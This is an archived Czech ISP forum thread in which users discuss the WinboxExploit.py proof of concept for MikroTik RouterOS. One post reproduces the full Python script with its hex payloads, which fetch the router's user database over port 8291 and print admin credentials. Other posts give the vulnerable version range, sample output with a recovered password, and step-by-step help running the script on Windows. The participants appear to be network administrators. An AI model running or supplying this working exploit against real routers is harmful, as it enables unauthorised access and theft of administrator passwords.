❗️Toto je původní verze internetového fóra ISPforum.cz do února 2020 bez možnosti registrace nových uživatelů. Aktivní verzi fóra naleznete na adrese https://telekomunikace.cz

MikroTik - BEZPECNOSTNI UPOZORNENI !!! DULEZITE - zablokovane MikroTiky

Návody a problémy s konfigurací.
menicks
Příspěvky: 233
Registrován: 16 years ago

Re: MikroTik - BEZPECNOSTNI UPOZORNENI !!! DULEZITE - zablokovane MikroTiky

Příspěvekod menicks » 6 years ago

právě to zkoušíme na všech možných verzích MK a ani za boha to nejde zkoušeli jsme 5.26 / 6.34 / 6.41.3 a nic nechápu to. Vždycky to jen vyhodí nějaký textový soubor kde není nic zajímavého.[/quote]
funkční na 6.28 až 6.42 včetně
na bugfix verzi 6.40.8 a 9 to také nefunguje.
0 x

Dalibor Toman
Příspěvky: 1246
Registrován: 12 years ago

Příspěvekod Dalibor Toman » 6 years ago

Robotvor píše:Právě to zkoušíme na všech možných verzích MK a ani za boha to nejde zkoušeli jsme 5.26 / 6.34 / 6.41.3 a nic nechápu to. Vždycky to jen vyhodí nějaký textový soubor kde není nic zajímavého.



Typicky vystup vypada takhle:
python3 WinboxExploit.py 1.2.3.4
User: admin
Pass:

User: admin
Pass:

User: admin
Pass: tajneheslo
--

a funguje na 6.28 a vys (mimo opravenych verzi). Pokud to zobrazuje neco jineho tak jde nejspis o chybove hlaseni (skript nefunguje v pythonu verze 2).
Zkousel jsem jen na linuxu (nejaky debian ve VirtualBoxu, protoze RedHat klony, ktery mame na serverech jedou jen na python2). Python by mozna fungoval i z Windows ?
0 x

Robotvor
Příspěvky: 803
Registrován: 15 years ago
antispam: Ano

Příspěvekod Robotvor » 6 years ago

Dalibor Toman píše:
Robotvor píše:Právě to zkoušíme na všech možných verzích MK a ani za boha to nejde zkoušeli jsme 5.26 / 6.34 / 6.41.3 a nic nechápu to. Vždycky to jen vyhodí nějaký textový soubor kde není nic zajímavého.



Typicky vystup vypada takhle:
python3 WinboxExploit.py 1.2.3.4
User: admin
Pass:

User: admin
Pass:

User: admin
Pass: tajneheslo
--

a funguje na 6.28 a vys (mimo opravenych verzi). Pokud to zobrazuje neco jineho tak jde nejspis o chybove hlaseni (skript nefunguje v pythonu verze 2).
Zkousel jsem jen na linuxu (nejaky debian ve VirtualBoxu, protoze RedHat klony, ktery mame na serverech jedou jen na python2). Python by mozna fungoval i z Windows ?


V tom texťáku to vypíše tohle, dělám to na win10 a mám poslední verzi 3.7.0

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump


a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00]

b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00]



if __name__ == "__main__":
try:
ip = sys.argv[1]
except:
print("Usage: python PoC.py [IP_ADDRESS]")

#Initialize Socket
s = socket.socket()
s.settimeout(3)
s.connect((ip, 8291))

#Convert to bytearray for manipulation
a = bytearray(a)
b = bytearray(b)

#Send hello and recieve the sesison id
s.send(a)
d = bytearray(s.recv(1024))

#Replace the session id in template
b[19] = d[38]

#Send the edited response
s.send(b)
d = bytearray(s.recv(1024))

#Get results
print(ip)
dump(d[55:])
0 x

Dalibor Toman
Příspěvky: 1246
Registrován: 12 years ago

Příspěvekod Dalibor Toman » 6 years ago

Robotvor píše:
V tom texťáku to vypíše tohle, dělám to na win10 a mám poslední verzi 3.7.0

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump



ale to vypada jako kod toho skriptu Winboxexploit.py. Cili soubor se nespustil ale vytiskl.
Jak ho na tech Windows spoustis?
0 x

Robotvor
Příspěvky: 803
Registrován: 15 years ago
antispam: Ano

Příspěvekod Robotvor » 6 years ago

Dalibor Toman píše:
Robotvor píše:
V tom texťáku to vypíše tohle, dělám to na win10 a mám poslední verzi 3.7.0

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump



ale to vypada jako kod toho skriptu Winboxexploit.py. Cili soubor se nespustil ale vytiskl.
Jak ho na tech Windows spoustis?


Ano přesně tak je to obsaho toho scriptu.

Spouštím ho tak, že pře totalcommander najedu do té složky kde je uložený a tam si pustím příkazový řádek a v něm pak zadám příkaz.
0 x

vojcekp
Příspěvky: 19
Registrován: 7 years ago

Příspěvekod vojcekp » 6 years ago

V tom texťáku to vypíše tohle, dělám to na win10 a mám poslední verzi 3.7.0

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump


a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,


Toto je jenom ale script...
1. musíš upravit proměnnou "ip" ip adresa "ip" je blbost logicky to nic nenajde.
2. až upravíš tu ip tak ten script musíš spustit buďto "F5" nebo Run > Run Module...
0 x

mpcz
Příspěvky: 2779
Registrován: 19 years ago

Příspěvekod mpcz » 6 years ago

Pokud nejsi Linux guru a instaloval jsi ten lámací systém poprvé, doporučuji požádat důvěryhodného kolegu, aby to odzkoušel z odzkoušené instalace. Při instalaci Linux + milión balíčků na zelené louce číhají mnohá úskalí. Ušetříš si čas. Pokud jsi Linux guru, tak to nečti. mpcz, 7.sep.2018
0 x

jahoo
Příspěvky: 154
Registrován: 19 years ago
Kontaktovat uživatele:

Příspěvekod jahoo » 6 years ago

pokud máš nainstalovaný python 3.x tak v příkazovém řádu stačí dát: py WinboxExploit.py x.x.x.x
1 x

Robotvor
Příspěvky: 803
Registrován: 15 years ago
antispam: Ano

Příspěvekod Robotvor » 6 years ago

jahoo píše:pokud máš nainstalovaný python 3.x tak v příkazovém řádu stačí dát: py WinboxExploit.py x.x.x.x


Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku
0 x

jahoo
Příspěvky: 154
Registrován: 19 years ago
Kontaktovat uživatele:

Příspěvekod jahoo » 6 years ago

Robotvor píše:
jahoo píše:pokud máš nainstalovaný python 3.x tak v příkazovém řádu stačí dát: py WinboxExploit.py x.x.x.x


Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku


Do scriptu nic nedoplňuješ, místo x.x.x.x napíšeš IP adresu
samozřejmě musíš v příkazovém řádku být v adresáři, kde je tento script

Jinak tento script nefunguje na verzi 6.42.7, kde to vypíše zpět pouze vyplněnou IP adresu
0 x

vojcekp
Příspěvky: 19
Registrován: 7 years ago

Příspěvekod vojcekp » 6 years ago

Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku


Kód: Vybrat vše

#Initialize Socket
     s = socket.socket()
     ip = 'IP ADRESA SEM DO TĚCHTO UVOZOVEK'
     s.settimeout(3)
     s.connect((ip, 8291))


spustíš ten program (pyhton idle) dáš File > Open
Vybeřeš ten soubor wi..ploit.py
v něm upravíš tu IP viz výše.
a pak dáš RUN > RUN MODULE
0 x

Robotvor
Příspěvky: 803
Registrován: 15 years ago
antispam: Ano

Příspěvekod Robotvor » 6 years ago

jahoo píše:
Robotvor píše:
jahoo píše:pokud máš nainstalovaný python 3.x tak v příkazovém řádu stačí dát: py WinboxExploit.py x.x.x.x


Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku


Do scriptu nic nedoplňuješ, místo x.x.x.x napíšeš IP adresu
samozřejmě musíš v příkazovém řádku být v adresáři, kde je tento script

Jinak tento script nefunguje na verzi 6.42.7, kde to vypíše zpět pouze vyplněnou IP adresu


c:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master>WinboxExploit.py xx.99.147.xx
Usage: python PoC.py [IP_ADDRESS]
Traceback (most recent call last):
File "C:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master\WinboxExploit.py", line 43, in <module>
s.connect((ip, 8291))
NameError: name 'ip' is not defined
0 x

KoZLiCeK
Příspěvky: 1201
Registrován: 17 years ago
Bydliště: CZ

Příspěvekod KoZLiCeK » 6 years ago

Robotvor píše:
jahoo píše:
Robotvor píše:
Takhle mě to taky nejde. Do toho scriptu se má ta IP doplnit kam ? dával jsem ji do těch hranatých závorek místo IP_ADDRESS ale bez výsledku


Do scriptu nic nedoplňuješ, místo x.x.x.x napíšeš IP adresu
samozřejmě musíš v příkazovém řádku být v adresáři, kde je tento script

Jinak tento script nefunguje na verzi 6.42.7, kde to vypíše zpět pouze vyplněnou IP adresu


c:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master>WinboxExploit.py xx.99.147.xx
Usage: python PoC.py [IP_ADDRESS]
Traceback (most recent call last):
File "C:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master\WinboxExploit.py", line 43, in <module>
s.connect((ip, 8291))
NameError: name 'ip' is not defined

A mas winbox na porte 8291???
0 x

Robotvor
Příspěvky: 803
Registrován: 15 years ago
antispam: Ano

Příspěvekod Robotvor » 6 years ago

KoZLiCeK píše:
Robotvor píše:
jahoo píše:
Do scriptu nic nedoplňuješ, místo x.x.x.x napíšeš IP adresu
samozřejmě musíš v příkazovém řádku být v adresáři, kde je tento script

Jinak tento script nefunguje na verzi 6.42.7, kde to vypíše zpět pouze vyplněnou IP adresu


c:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master>WinboxExploit.py xx.99.147.xx
Usage: python PoC.py [IP_ADDRESS]
Traceback (most recent call last):
File "C:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master\WinboxExploit.py", line 43, in <module>
s.connect((ip, 8291))
NameError: name 'ip' is not defined

A mas winbox na porte 8291???


Ano
0 x

Dalibor Toman
Příspěvky: 1246
Registrován: 12 years ago

Příspěvekod Dalibor Toman » 6 years ago

Robotvor píše:c:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master>WinboxExploit.py xx.99.147.xx
Usage: python PoC.py [IP_ADDRESS]
Traceback (most recent call last):
File "C:\Users\info\Desktop\Mikrotik exploit\WinboxExploit-master\WinboxExploit.py", line 43, in <module>
s.connect((ip, 8291))
NameError: name 'ip' is not defined



radek
Usage: ...

skript vypise pokud prvni argument neexistuje (nevim kdy jeste jindy presne vyvola cteni z argv[1] v pythonu vyjimku). I kdyz se to stane tak skript pokracuje dal a logicky musi pokus o pripojeni selhat, protoze neni kam se pripojit.

Takze pokud jsi opravdu zadal na command linu IPcko a presto to vypsalo ten Usage ... radek tak mas nejaky divny problem s operacnim systemem/pythonem. Jak jsem se letmo dival na provozovani pythonu pod Windows - musi se python engine ne uplne trivialne instalovat...
0 x